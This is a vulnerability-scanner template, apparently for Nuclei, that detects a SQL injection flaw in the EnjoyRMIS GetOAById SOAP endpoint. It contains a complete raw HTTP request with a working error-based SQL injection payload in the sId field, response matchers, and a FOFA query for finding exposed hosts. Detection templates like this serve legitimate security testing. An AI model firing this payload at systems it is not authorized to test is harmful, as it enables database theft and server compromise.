enjoyrmis-sqli: EnjoyRMIS - SQL Injection

id: enjoyrmis-sqli

info:
  name: EnjoyRMIS - SQL Injection
  author: s4e-io
  severity: high
  description: |
    EnjoyRMIS GetOAById has a SQL injection vulnerability, through which an attacker can obtain sensitive database information and even control the server.
  reference:
    - https://github.com/wy876/POC/blob/main/EnjoyRMIS-GetOAById%E5%AD%98%E5%9C%A8SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  metadata:
    fofa-query: body="CheckSilverlightInstalled"
    verified: true
    max-request: 1
  tags: enjoyrmis,sqli

http:
  - raw:
      - |
        POST /EnjoyRMIS_WS/WS/POS/cwsoa.asmx HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml; charset=utf-8
        SOAPAction: "http://tempuri.org/GetOAById"

        <?xml version="1.0" encoding="utf-8"?>
        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
          <soap:Body>
            <GetOAById xmlns="http://tempuri.org/">
              <sId>string' AND 8448 IN (SELECT (CHAR(113)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (8448=8448) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+CHAR(107)+CHAR(113)+CHAR(113))) AND 'OFyo'='OFyo</sId>
            </GetOAById>
          </soap:Body>
        </soap:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"qqqzq1qvkqq")'
          - 'contains(header,"text/xml")'
          - "status_code == 500"
        condition: and
# digest: 4a0a00473045022056fa79742694920595d492b46641bf85a496ec390a6249f093fad5827bbc9ff2022100c9855696a498bc281208d275faa4939bfbfe96c6438111bad644f2c3d5f918e8:922c64590222798bb761d5b6d8e72950